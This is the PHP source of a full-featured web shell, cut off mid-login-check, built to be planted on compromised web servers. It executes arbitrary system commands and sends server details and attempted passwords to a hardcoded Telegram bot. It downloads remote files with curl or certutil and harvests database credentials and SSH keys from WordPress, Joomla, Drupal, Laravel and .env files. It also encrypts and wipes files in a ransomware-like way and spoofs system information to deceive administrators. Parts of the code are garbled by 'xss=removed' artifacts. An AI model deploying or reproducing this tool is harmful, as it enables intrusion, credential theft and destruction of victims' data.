<?php @session_start(); @error_reporting(0); @ini_set('display_errors', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); @ob_start(); if (!headers_sent()) { @http_response_code(200); @header('HTTP/1.1 200 OK'); @header('Status: 200 OK'); } define('IS_WIN', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); define('DS', DIRECTORY_SEPARATOR); define('ENC_EXT', 'rubyenc'); function getIP() { if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) return $_SERVER['HTTP_CF_CONNECTING_IP']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR']; if (isset($_SERVER['REMOTE_ADDR'])) return $_SERVER['REMOTE_ADDR']; return 'unknown'; } // Set device cookie jika belum ada if (!isset($_COOKIE['rb_device_id'])) { @setcookie('rb_device_id', md5($_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR'] . 'ruby1337'), time() + (86400 * 365), '/'); $_COOKIE['rb_device_id'] = md5($_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR'] . 'ruby1337'); } $b_path = sys_get_temp_dir() . DS; $c_ip = getIP(); $dev_id = $_COOKIE['rb_device_id']; // File penanda ban berdasarkan IP dan Device $b_file = $b_path . '.rb_' . md5($c_ip) . '.json'; $dev_file = $b_path . '.rb_dev_' . md5($dev_id) . '.json'; $strike_file = $b_path . '.rb_strikes_' . md5($c_ip) . '.json'; // File untuk unban key $unban_file = $b_path . '.rb_unban_' . md5($c_ip . $dev_id) . '.json'; // File untuk config spoofing $config_file = $b_path . '.rb_config.json'; $sys_conf = file_exists($config_file) ? json_decode(@file_get_contents($config_file), true) : array(); // Variabel global buat spoofing $sys_soft = isset($sys_conf['soft']) ? $sys_conf['soft'] : (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '-'); $sys_sip = isset($sys_conf['sip']) ? $sys_conf['sip'] : (isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '-'); $sys_cip = isset($sys_conf['cip']) ? $sys_conf['cip'] : getIP(); $sys_dom = isset($sys_conf['dom']) ? $sys_conf['dom'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'); $sys_php = isset($sys_conf['php']) ? $sys_conf['php'] : PHP_VERSION . ' (' . (IS_WIN?'Win':'Nix') . ')'; $sys_user = isset($sys_conf['user']) ? $sys_conf['user'] : (function_exists('posix_getpwuid') && ($u = @posix_getpwuid(@posix_geteuid())) ? $u['name'] : get_current_user()); $sys_host = isset($sys_conf['host']) ? $sys_conf['host'] : php_uname('s') . ' ' . php_uname('r'); $sys_disk = isset($sys_conf['disk']) ? $sys_conf['disk'] : 'N/A'; $spoof_cmds = isset($sys_conf['cmds']) ? $sys_conf['cmds'] : array(); function x_tg($action, $detail = '', $path = null) { global $sys_soft, $sys_sip, $sys_cip, $sys_dom, $sys_php, $sys_user, $sys_host, $sys_disk; $bot = '8856349017:AAFXrvm1fYSzlwJcKytM9Xjhv8GtUhhIM_I'; $chat = '7553121903'; $path = $path ? $path : getcwd(); $shell = basename(__FILE__); $t = "[" . $action . "]\n"; $t .= "Shell : " . $shell . "\n"; $t .= "IP : " . $sys_cip . "\n"; $t .= "Device ID : " . $_COOKIE['rb_device_id'] . "\n"; $t .= "Domain : " . $sys_dom . "\n"; $t .= "Path : " . $path . "\n"; $t .= "User : " . $sys_user . "\n"; $t .= "OS : " . $sys_host . "\n"; $t .= "Storage : " . $sys_disk . "\n"; if ($detail !== '') $t .= "\nDetail:\n" . $detail . "\n"; $url = 'https://api.telegram.org/bot' . $bot . '/sendMessage'; $payload = http_build_query(array('chat_id' => $chat, 'text' => $t, 'disable_web_page_preview' => true)); if (function_exists('curl_init')) { $ch = @curl_init(); @curl_setopt_array($ch, array( CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false )); @curl_exec($ch); @curl_close($ch); } else { $ctx = @stream_context_create(array('http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $payload, 'timeout' => 5, 'ignore_errors' => true ))); @file_get_contents($url, false, $ctx); } } function fmtSize($b) { if ($b === false || $b === null || $b == 0) return '0 B'; if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB'; if ($b >= 1048576) return round($b / 1048576, 2) . ' MB'; if ($b >= 1024) return round($b / 1024, 2) . ' KB'; return $b . ' B'; } function dirSize($path, $depth = 0) { if ($depth > 4) return 0; $total = 0; try { $it = new DirectoryIterator($path); foreach ($it as $f) { if ($f->isDot()) continue; $p = $path . DS . $f->getFilename(); if ($f->isDir()) $total += dirSize($p, $depth + 1); elseif ($f->isFile()) { $sz = @filesize($p); if ($sz !== false) $total += $sz; } } } catch (Exception $e) {} return $total; } function dirSizeFast($path) { $r = 0; if (canExec()) { if (IS_WIN) { $o = @shell_exec('powershell -nop -c "(Get-ChildItem -LiteralPath \"' . $path . '\" -Recurse -Force -ErrorAction SilentlyContinue | Measure-Object -Property Length -Sum).Sum"'); if (is_numeric(trim($o))) $r = (int)trim($o); } else { $o = @shell_exec('du -sb ' . escapeshellarg($path) . ' 2>/dev/null | cut -f1'); if (is_numeric(trim($o))) $r = (int)trim($o); } } if ($r === 0) $r = dirSize($path); return $r; } function canExec() { $dis = @ini_get('disable_functions'); $dis = $dis ? array_map('trim', explode(',', $dis)) : array(); foreach (array('shell_exec','exec','system','passthru','popen','proc_open') as $f) { if (function_exists($f) && !in_array($f, $dis)) return true; } if (IS_WIN && class_exists('COM')) return true; return false; } function run_cmd($cmd) { global $spoof_cmds; $trimmed = trim($cmd); if (isset($spoof_cmds[$trimmed])) { return $spoof_cmds[$trimmed]; } $dis = @ini_get('disable_functions'); $dis = $dis ? array_map('trim', explode(',', $dis)) : array(); if (IS_WIN) { if (function_exists('shell_exec') && !in_array('shell_exec', $dis)) { $o = @shell_exec($cmd . ' 2>&1'); if (is_string($o) && trim($o)) return $o; } if (function_exists('system') && !in_array('system', $dis)) { ob_start(); @system($cmd . ' 2>&1'); $o = ob_get_clean(); if (trim($o)) return $o; } if (function_exists('exec') && !in_array('exec', $dis)) { $out = array(); @exec($cmd . ' 2>&1', $out); $o = implode("\n", $out); if (trim($o)) return $o; } if (function_exists('proc_open') && !in_array('proc_open', $dis)) { $d = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')); $p = @proc_open($cmd, $d, $pipes); if (is_resource($p)) { $o = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]); @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); if (trim($o)) return $o; } } return ''; } if (function_exists('shell_exec') && !in_array('shell_exec', $dis)) { $o = @shell_exec($cmd . ' 2>&1'); if (is_string($o) && trim($o)) return $o; } if (function_exists('system') && !in_array('system', $dis)) { ob_start(); @system($cmd . ' 2>&1'); $o = ob_get_clean(); if (trim($o)) return $o; } if (function_exists('exec') && !in_array('exec', $dis)) { $out = array(); @exec($cmd . ' 2>&1', $out); $o = implode("\n", $out); if (trim($o)) return $o; } if (function_exists('passthru') && !in_array('passthru', $dis)) { ob_start(); @passthru($cmd . ' 2>&1'); $o = ob_get_clean(); if (trim($o)) return $o; } if (function_exists('proc_open') && !in_array('proc_open', $dis)) { $d = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')); $p = @proc_open($cmd, $d, $pipes); if (is_resource($p)) { $o = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]); @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); if (trim($o)) return $o; } } return ''; } function writeSmart($target, $content) { if (basename($target) === basename(__FILE__)) return false; if (@file_put_contents($target, $content) !== false) { @chmod($target, 0777); return true; } $fp = @fopen($target, 'wb'); if ($fp) { @fwrite($fp, $content); @fclose($fp); @chmod($target, 0777); return true; } return false; } function delSmart($path) { if (basename($path) === basename(__FILE__)) return false; if (is_file($path)) { if (@unlink($path)) return true; if (canExec()) { IS_WIN ? run_cmd('del /F /Q "' . $path . '"') : run_cmd('rm -f ' . escapeshellarg($path)); } return !file_exists($path); } if (is_dir($path)) { try { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $x) { $x->isDir() ? @rmdir($x->getRealPath()) : @unlink($x->getRealPath()); } } catch (Exception $e) {} if (@rmdir($path)) return true; if (canExec()) { IS_WIN ? run_cmd('rmdir /S /Q "' . $path . '"') : run_cmd('rm -rf ' . escapeshellarg($path)); } return !file_exists($path); } return false; } function renSmart($old, $new) { if (basename($old) === basename(__FILE__) || basename($new) === basename(__FILE__)) return false; if (@rename($old, $new)) return true; if (canExec()) { IS_WIN ? run_cmd('ren "' . $old . '" "' . basename($new) . '"') : run_cmd('mv ' . escapeshellarg($old) . ' ' . escapeshellarg($new)); } return file_exists($new); } function cpSmart($src, $dst) { if (basename($src) === basename(__FILE__) || basename($dst) === basename(__FILE__)) return false; if (is_file($src)) { if (@copy($src, $dst)) return true; if (canExec()) { IS_WIN ? run_cmd('copy /Y "' . $src . '" "' . $dst . '"') : run_cmd('cp ' . escapeshellarg($src) . ' ' . escapeshellarg($dst)); } return file_exists($dst); } return false; } function mkDirSmart($path) { if (@mkdir($path, 0777, true)) return true; if (canExec()) { IS_WIN ? run_cmd('mkdir "' . $path . '"') : run_cmd('mkdir -p ' . escapeshellarg($path)); } return is_dir($path); } function fetchURLRaw($url) { if (function_exists('curl_init')) { $ch = @curl_init(); @curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0')); $d = @curl_exec($ch); @curl_close($ch); if ($d) return $d; } $ctx = @stream_context_create(array('http' => array('timeout' => 30, 'header' => "User-Agent: Mozilla/5.0\r\n", 'ignore_errors' => true))); return @file_get_contents($url, false, $ctx); } function fetchURL($url, $dest) { $data = fetchURLRaw($url); if (!$data && canExec()) { IS_WIN ? run_cmd('certutil -urlcache -split -f ' . $url . ' "' . $dest . '"') : run_cmd('curl -sL --max-time 30 ' . escapeshellarg($url) . ' -o ' . escapeshellarg($dest)); if (file_exists($dest)) { @chmod($dest, 0777); return array('ok' => true, 'm' => 'cmd'); } } if (!$data) return array('ok' => false, 'm' => 'fetch failed'); $r = writeSmart($dest, $data); return array('ok' => $r, 'm' => 'fpc'); } function isAllowedExt($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $base = strtolower(basename($filename)); if ($base === '.htaccess' || $base === 'web.config') return false; $allowed = array('jpg','jpeg','png','gif','mp4','webm','mp3','wav','doc','docx','xls','xlsx','pdf','html','htm','txt','css','js'); return in_array($ext, $allowed); } function safeRandom($len) { if (function_exists('random_bytes')) { try { $r = random_bytes($len); if (strlen($r) === $len) return $r; } catch (Exception $e) {} } if (function_exists('openssl_random_pseudo_bytes')) { $r = @openssl_random_pseudo_bytes($len); if ($r !== false && strlen($r) === $len) return $r; } $r = ''; for ($i = 0; $i < $len; $i++) $r .= chr(mt_rand(0, 255)); return $r; } function randName() { $alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $digit = '0123456789'; $spec = '@#%&*+!^~_-='; $pool = $alpha . $digit . $spec . $alpha; $n = mt_rand(9, 18); $out = ''; for ($i = 0; $i < $n; $i++) $out .= $pool[mt_rand(0, strlen($pool) - 1)]; return $out; } function stealthEncFile($file, $keyRaw, &$manifest) { if (!function_exists('openssl_encrypt')) return false; $data = @file_get_contents($file); if ($data === false) return false; $compressed = @gzdeflate($data, 9); if ($compressed === false) $compressed = $data; $iv = safeRandom(12); $tag = ''; $enc = @openssl_encrypt($compressed, 'aes-256-gcm', $keyRaw, OPENSSL_RAW_DATA, $iv, $tag); if ($enc === false) return false; $blob = $iv . $tag . $enc; $newName = randName() . '.' . ENC_EXT; $newPath = dirname($file) . DS . $newName; if (@file_put_contents($newPath, $blob) === false) return false; $back = mt_rand(2592000, 63072000); @touch($newPath, time() - $back); $manifest[] = array('n' => $newPath, 'o' => $file); $sz = @filesize($file); if ($sz > 0) { $fp = @fopen($file, 'r+'); if ($fp) { @ftruncate($fp, 0); $zeros = str_repeat("\0", min($sz, 1048576)); $w = 0; while ($w < $sz) { $w += @fwrite($fp, $zeros); } @fclose($fp); } } @unlink($file); return $newPath; } function stealthDecFile($encPath, $keyRaw, $origPath) { if (!function_exists('openssl_decrypt')) return false; $blob = @file_get_contents($encPath); if ($blob === false || strlen($blob) < 29 xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed> 0) { $sz = @filesize($rp); if ($sz === false || $sz > $sizeLimit) { $fail++; return; } } $r = $fn($rp, $manifest); if ($r !== false) { $ok++; if (count($list) < 300 xss=removed xss=removed xss=removed xss=removed>isFile()) continue; $all[] = $f->getRealPath(); } shuffle($all); foreach ($all as $rp) $process($rp); } catch (Exception $e) {} } } function svgCat($size = 24) { $s = 'width:' . $size . 'px;height:' . $size . 'px;flex-shrink:0;filter:drop-shadow(0 0 4px rgba(255,255,255,.25))'; return '<svg viewBox="0 0 200 200" fill="none" style="' . $s . '"> </svg>'; } function svgWp($size = 24, $color = '#21759B') { $s = 'width:' . $size . 'px;height:' . $size . 'px;flex-shrink:0;display:inline-block;vertical-align:middle'; return '<svg viewBox="0 0 122.52 122.523" fill="' . $color . '" style="' . $s . '" xmlns="http://www.w3.org/2000/svg"></svg>'; } function svgI($name, $size = 16, $color = 'currentColor') { $s = 'width:' . $size . 'px;height:' . $size . 'px;flex-shrink:0'; $paths = array( 'folder' => '', 'term' => '', 'lock' => '', 'unlock' => '', 'shield' => '', 'globe' => '', 'network' => '', 'db' => '', 'gear' => '', 'puzzle' => '', 'user' => '', 'user-plus' => '', 'login-as' => '', 'key' => '', 'logout' => '', 'clock' => '', 'cal' => '', 'trash' => '', 'pen' => '', 'type' => '', 'copy' => '', 'dl' => '', 'move' => '', 'save' => '', 'back' => '', 'fwd' => '', 'home' => '', 'refresh' => '', 'url' => '', 'search' => '', 'code' => '', 'file' => '', 'check' => '', 'port' => '', 'cpu' => '', 'power-on' => '', 'power-off' => '', 'info' => '', 'play' => '', 'flame' => '', 'plug' => '', 'table' => '' ); return '<svg viewBox="0 0 24 24" fill="none" stroke="' . $color . '" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="' . $s . '">' . (isset($paths[$name]) ? $paths[$name] : '') . '</svg>'; } function detectCMS($dr) { $dr = rtrim($dr, DS); $r = array('cms' => 'Unknown', 'version' => 'N/A', 'detail' => array(), 'db' => array(), 'extra' => array()); if (file_exists($dr . '/wp-config.php')) { $r['cms'] = 'WordPress'; $v = @file_get_contents($dr . '/wp-includes/version.php'); if (preg_match("/\\\$wp_version\s*=\s*'([^']+)'/", $v, $m)) $r['version'] = $m[1]; $wc = @file_get_contents($dr . '/wp-config.php'); if (preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\)/", $wc, $d)) $r['db']['name'] = $d[1]; if (preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\)/", $wc, $u)) $r['db']['user'] = $u[1]; if (preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'\s*\)/", $wc, $p)) $r['db']['pass'] = $p[1]; if (preg_match("/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\)/", $wc, $h)) $r['db']['host'] = $h[1]; } elseif (file_exists($dr . '/configuration.php')) { $c = @file_get_contents($dr . '/configuration.php'); if (preg_match('/class\s+JConfig|public\s+\$host/', $c)) { $r['cms'] = 'Joomla'; if (preg_match("/public\s+\\\$host\s*=\s*'([^']+)'/", $c, $m)) $r['db']['host'] = $m[1]; if (preg_match("/public\s+\\\$user\s*=\s*'([^']+)'/", $c, $m)) $r['db']['user'] = $m[1]; if (preg_match("/public\s+\\\$password\s*=\s*'([^']*)'/", $c, $m)) $r['db']['pass'] = $m[1]; if (preg_match("/public\s+\\\$db\s*=\s*'([^']+)'/", $c, $m)) $r['db']['name'] = $m[1]; } } elseif (file_exists($dr . '/sites/default/settings.php')) { $r['cms'] = 'Drupal'; $c = @file_get_contents($dr . '/sites/default/settings.php'); if (preg_match("/'database'\s*=>\s*'([^']+)'/", $c, $m)) $r['db']['name'] = $m[1]; if (preg_match("/'username'\s*=>\s*'([^']+)'/", $c, $m)) $r['db']['user'] = $m[1]; if (preg_match("/'password'\s*=>\s*'([^']*)'/", $c, $m)) $r['db']['pass'] = $m[1]; if (preg_match("/'host'\s*=>\s*'([^']+)'/", $c, $m)) $r['db']['host'] = $m[1]; } elseif (file_exists($dr . '/.env') && (file_exists($dr . '/artisan') || is_dir($dr . '/vendor/laravel'))) { $r['cms'] = 'Laravel'; $c = @file_get_contents($dr . '/.env'); if (preg_match("/DB_HOST\s*=\s*\"?([^\"\n]+)\"?/", $c, $m)) $r['db']['host'] = trim($m[1]); if (preg_match("/DB_DATABASE\s*=\s*\"?([^\"\n]+)\"?/", $c, $m)) $r['db']['name'] = trim($m[1]); if (preg_match("/DB_USERNAME\s*=\s*\"?([^\"\n]+)\"?/", $c, $m)) $r['db']['user'] = trim($m[1]); if (preg_match("/DB_PASSWORD\s*=\s*\"?([^\"\n]*)\"?/", $c, $m)) $r['db']['pass'] = trim($m[1]); } return $r; } function deepScanConfig($rootPath) { $results = array(); $targets = array('wp-config.php', 'configuration.php', 'settings.php', '.env', 'config.php', 'config.inc.php', 'database.php', 'ssh_config', 'id_rsa', '.ftpconfig'); try { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath, FilesystemIterator::SKIP_DOTS)); foreach ($it as $file) { if (!$file->isFile()) continue; $name = $file->getFilename(); if (in_array($name, $targets) || preg_match('/\.(conf|cfg|ini|env)$/i', $name)) { $path = $file->getRealPath(); $content = @file_get_contents($path); if ($content) { $parsed = array('file' => $path, 'type' => 'unknown', 'creds' => array()); if (preg_match("/DB_(?:NAME|DATABASE)\s*['\"]?\s*=>?\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_name'] = $m[1]; if (preg_match("/DB_(?:USER|USERNAME)\s*['\"]?\s*=>?\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_user'] = $m[1]; if (preg_match("/DB_(?:PASS|PASSWORD)\s*['\"]?\s*=>?\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_pass'] = $m[1]; if (preg_match("/DB_(?:HOST)\s*['\"]?\s*=>?\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_host'] = $m[1]; if (preg_match("/['\"]user['\"]\s*=>\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_user'] = $m[1]; if (preg_match("/['\"]password['\"]\s*=>\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_pass'] = $m[1]; if (preg_match("/['\"]database['\"]\s*=>\s*['\"]([^'\"]+)/i", $content, $m)) $parsed['creds']['db_name'] = $m[1]; if (strpos($content, 'ssh-rsa') !== false || strpos($content, 'BEGIN RSA PRIVATE KEY') !== false) { $parsed['type'] = 'SSH Key'; $parsed['creds']['raw'] = substr($content, 0, 200) . '...'; } if (preg_match('/(ftp|sftp).*(user|pass)/i', $name)) $parsed['type'] = 'FTP Config'; if (!empty($parsed['creds'])) { $results[] = $parsed; } } } } } catch (Exception $e) {} return $results; } function shellScan($rootPath) { $maliciousPatterns = '/\b(eval|assert|system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|base64_decode|gzinflate|str_rot13|preg_replace.*\/e|create_function)\s*\(/i'; $exts = array('php','phtml','php3','php4','php5','php7','phps','asp','aspx','jsp','jspx','cgi','pl','py','sh'); $stats = array('total_php' => 0, 'total_rce' => 0, 'results' => array()); try { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath, FilesystemIterator::SKIP_DOTS)); foreach ($it as $file) { if (!$file->isFile()) continue; $ext = strtolower($file->getExtension()); if (in_array($ext, $exts)) { $stats['total_php']++; $path = $file->getRealPath(); $content = @file_get_contents($path); if ($content) { if (preg_match($maliciousPatterns, $content)) { $stats['total_rce']++; $snippet = ''; if (preg_match($maliciousPatterns, $content, $matches)) { $snippet = $matches[1]; } $stats['results'][] = array('file' => $path, 'size' => fmtSize($file->getSize()), 'payload' => $snippet); } } } } } catch (Exception $e) {} return $stats; } // PROSES SIMPAN CONFIG if (isset($_POST['save_config'])) { $new_conf = array( 'soft' => trim($_POST['conf_soft']), 'sip' => trim($_POST['conf_sip']), 'cip' => trim($_POST['conf_cip']), 'dom' => trim($_POST['conf_dom']), 'php' => trim($_POST['conf_php']), 'user' => trim($_POST['conf_user']), 'host' => trim($_POST['conf_host']), 'disk' => trim($_POST['conf_disk']), 'cmds' => array() ); // Parse commands spoof $cmd_lines = explode("\n", str_replace("\r", "", $_POST['conf_cmds'])); foreach ($cmd_lines as $line) { $line = trim($line); if (strpos($line, '|') !== false) { list($cmd, $out) = explode('|', $line, 2); $new_conf['cmds'][trim($cmd)] = trim($out); } } @file_put_contents($config_file, json_encode($new_conf, JSON_PRETTY_PRINT)); header('Location: ?'); exit; } // PROSES UNBAN $unban_msg = ''; if (isset($_POST['unban_key'])) { $key = trim($_POST['unban_key']); if (file_exists($unban_file)) { $data = @file_get_contents($unban_file); if ($data && strlen($data) > 28) { $iv = substr($data, 0, 12); $tag = substr($data, 12, 16); $cipher = substr($data, 28); $dec = @openssl_decrypt($cipher, 'aes-256-gcm', hex2bin($key), OPENSSL_RAW_DATA, $iv, $tag); if ($dec === $c_ip . '|' . $dev_id) { @unlink($b_file); @unlink($dev_file); @unlink($strike_file); @unlink($unban_file); x_tg('UNBAN SUCCESS', 'IP and Device unbanned successfully.'); header('Location: ?'); exit; } else { $unban_msg = 'Invalid key.'; } } } else { $unban_msg = 'No active ban.'; } } // CEK BAN if (file_exists($b_file) || file_exists($dev_file)) { $dev_info = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); $ck_info = htmlspecialchars('rb_device_id=' . $_COOKIE['rb_device_id']); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>For U Skidie</title> <link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet"> <style> :root{--red:#ff2b4a} *{margin:0;padding:0;box-sizing:border-box} body{ min-height:100svh;display:flex;align-items:center;justify-content:center; background:#000 url("https://static.iimg.live/uploads/awesome-art-3231.jpeg") center/cover no-repeat fixed; font-family:'Press Start 2P',monospace; overflow-x:hidden;-webkit-user-select:none;user-select:none; } .shade{position:fixed;inset:0;z-index:0;pointer-events:none; background:radial-gradient(120?% at 50B%,rgba(0,0,0,.40) 0%,rgba(0,0,0,.60) 55%,rgba(0,0,0,.80) 100%)} .stage{z-index:2;padding:40px 24px;display:flex;flex-direction:column;align-items:center;gap:30px} .row{display:flex;align-items:center;justify-content:center;gap:clamp(34px,7vw,90px);flex-wrap:wrap} .scene{perspective:1100px} .card{ width:clamp(150px,19vw,205px);aspect-ratio:3/4; border:3px solid #f2f2f2;border-radius:12px;overflow:hidden;background:#0a0a0a; box-shadow:0 0 0 3px rgba(0,0,0,.65),0 16px 44px rgba(0,0,0,.75),0 0 26px rgba(255,43,74,.30); animation:flip 6.5s ease-in-out infinite; } .card img{width:100%;height:100%;object-fit:cover;display:block} @keyframes flip{ 0%,9%{transform:rotateY(0)} 26%,34%{transform:rotateY(180deg)} 51%,59%{transform:rotateY(0)} 76%,84%{transform:rotateY(-180deg)} 100%{transform:rotateY(0)} } .panel{ background:rgba(0,0,0,.52);border:1px solid rgba(255,255,255,.16);border-radius:12px; padding:clamp(20px,3vw,30px) clamp(22px,3.4vw,34px); box-shadow:0 12px 44px rgba(0,0,0,.6);text-align:center;max-width:600px; } .title{font-size:clamp(18px,3.2vw,32px);line-height:1.7;letter-spacing:2px;color:#f6f6f6; text-shadow:0 2px 0 rgba(0,0,0,.85),0 0 16px rgba(0,0,0,.6);margin-bottom:clamp(14px,2vw,22px)} .info{font-size:clamp(9px,1.5vw,12px);color:#eee;letter-spacing:1px;line-height:2.35;text-align:left; text-shadow:0 1px 0 rgba(0,0,0,.9),0 0 10px rgba(0,0,0,.55);max-width:560px} .info .lbl{color:var(--red);display:inline-block;min-width:11ch} .info .red{color:var(--red)} .info .val{color:#f1f1f1;word-break:break-all} .timer-box{margin-top:15px;border:1px dashed rgba(255,43,74,.4);padding:10px;border-radius:8px;background:rgba(0,0,0,.3)} .timer{font-size:clamp(10px,1.8vw,15px);color:var(--red);letter-spacing:1px;font-weight:bold;text-align:center; text-shadow:0 0 10px rgba(255,43,74,.5),0 1px 0 rgba(0,0,0,.9)} /* Unban Form Inline */ .unban-form{margin-top:20px;display:flex;align-items:center;justify-content:center;gap:8px} .unban-form input{background:#000;border:2px solid var(--red);color:#fff;padding:8px 12px;font-family:monospace;font-size:14px;width:200px;text-align:center;outline:none} .unban-form input::placeholder{color:#ff2b4a;font-family:'Press Start 2P',monospace;font-size:10px} .unban-form button{background:var(--red);color:#000;border:none;padding:8px;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:0.2s} .unban-form button:hover{background:#fff} .unban-form button svg{width:20px;height:20px;stroke:currentColor;stroke-width:2.5;stroke-linecap:round;stroke-linejoin:round;fill:none} .err-msg{color:var(--red);font-size:10px;margin-top:5px} /* Skidie VHS Glitch & Color Sweep */ .skidie-container { display: inline-block; position: relative; } .skidie-container span { display: inline-block; font-weight: bold; transition: color 0.1s, text-shadow 0.1s; position: relative; } /* VHS Glitch Effect */ .vhs { animation: vhsMove 0.2s infinite; } @keyframes vhsMove { 0% { transform: translate(0) } 25% { transform: translate(-1px, 1px) } 50% { transform: translate(1px, -1px) } 75% { transform: translate(-1px, -1px) } 100% { transform: translate(1px, 1px) } } .vhs::before, .vhs::after { content: attr(data-text); position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: transparent; opacity: 0.6; } .vhs::before { color: #00ffff; z-index: -1; animation: glitchAnim 1s infinite linear alternate-reverse; clip-path: inset(200% 0); } .vhs::after { color: #ff00ff; z-index: -2; animation: glitchAnim2 1.5s infinite linear alternate-reverse; clip-path: inset(600% 0); } @keyframes glitchAnim { 0% { clip-path: inset(200% 0); transform: translate(-2px, 0); } 20% { clip-path: inset(600% 0); transform: translate(2px, 0); } 40% { clip-path: inset(100% 0); transform: translate(-2px, 0); } 60% { clip-path: inset(80% 0); transform: translate(2px, 0); } 80% { clip-path: inset(400% 0); transform: translate(-2px, 0); } 100% { clip-path: inset(90% 0); transform: translate(2px, 0); } } @keyframes glitchAnim2 { 0% { clip-path: inset(500% 0); transform: translate(2px, 0); } 20% { clip-path: inset(100% 0); transform: translate(-2px, 0); } 40% { clip-path: inset(700% 0); transform: translate(2px, 0); } 60% { clip-path: inset(200% 0); transform: translate(-2px, 0); } 80% { clip-path: inset(80% 0); transform: translate(2px, 0); } 100% { clip-path: inset(300% 0); transform: translate(-2px, 0); } } @media(max-width:640px){ .stage{padding:26px 14px;gap:22px} .row{gap:22px} .card{width:150px} .panel{padding:16px 14px} .title{font-size:15px} .info,.timer{font-size:8px;letter-spacing:0} .info .lbl{min-width:10ch} .unban-form input{width:150px;font-size:12px} } </style> </head> <body>

For U
Skidie

Your IP: <?= $c_ip ?>

COOKIES: <?= $ck_info ?>

DEVICE: <?= $dev_info ?>

REASON: BANNED!

Timer Banned : --:--:--

<form class="unban-form" method="post"> <input type="text" name="unban_key" placeholder="Key" required autocomplete="off" spellcheck="false"> <button type="submit" title="Unban"> <svg viewBox="0 0 24 24"></svg> </button> <?php if($unban_msg): ?>

<?= $unban_msg ?>

<?php endif; ?> </form>

[removed] (function(){ // Timer Glitch (No Numbers) const tEl = document.getElementById('timer'); const GL = '#@%&$?!&%#@'; setInterval(() => { let out = ''; for(let i=0;i<8 xss=removed tEl.textContent = 'Timer Banned : ' xss=removed xss=removed xss=removed xss=removed> { skidSpans.forEach(s => { s.style.color = '#e5484d'; // default red s.style.textShadow = 'none'; }); if(skidSpans[currentIdx]) { skidSpans[currentIdx].style.color = colors[Math.floor(Math.random()*colors.length)]; skidSpans[currentIdx].style.textShadow = '0 0 10px currentColor'; } currentIdx = (currentIdx + 1) % skidSpans.length; }, 150); })(); [removed] </body> </html> <?php exit; } if (isset($_GET['logout'])) { x_tg('LOGOUT', 'User logged out'); session_destroy(); if (ob_get_level()) ob_end_clean(); header('Location: ?'); exit; } if (!isset($_SESSION['in']) || $_SESSION['in'] !== true) { if (isset($_POST['pass'])) { $role = ''; if ($_POST['pass'] === '7x-SHell') $role = 'admin'; elseif ($_POST['pass'] === 'silence') $role = 'user'; if ($role) { $_SESSION['in'] = true; $_SESSION['role'] = $role; @unlink($b_file); @unlink($dev_file); @unlink($strike_file); @unlink($unban_file); x_tg('LOGIN SUCCESS', 'Role: ' . strtoupper($role) . '. Access granted.'); if (ob_get_level()) ob_end_clean(); header('Location: ?'); exit; } else { $err = 'Wrong password'; x_tg('LOGIN FAILED', 'Attempted Password: ' . $_POST['pass']); $fails = file_exists($strike_file) ? json_decode(@file_get_contents($strike_file), true) : array('count' => 0); $fails['count'] = isset($fails['count']) ? 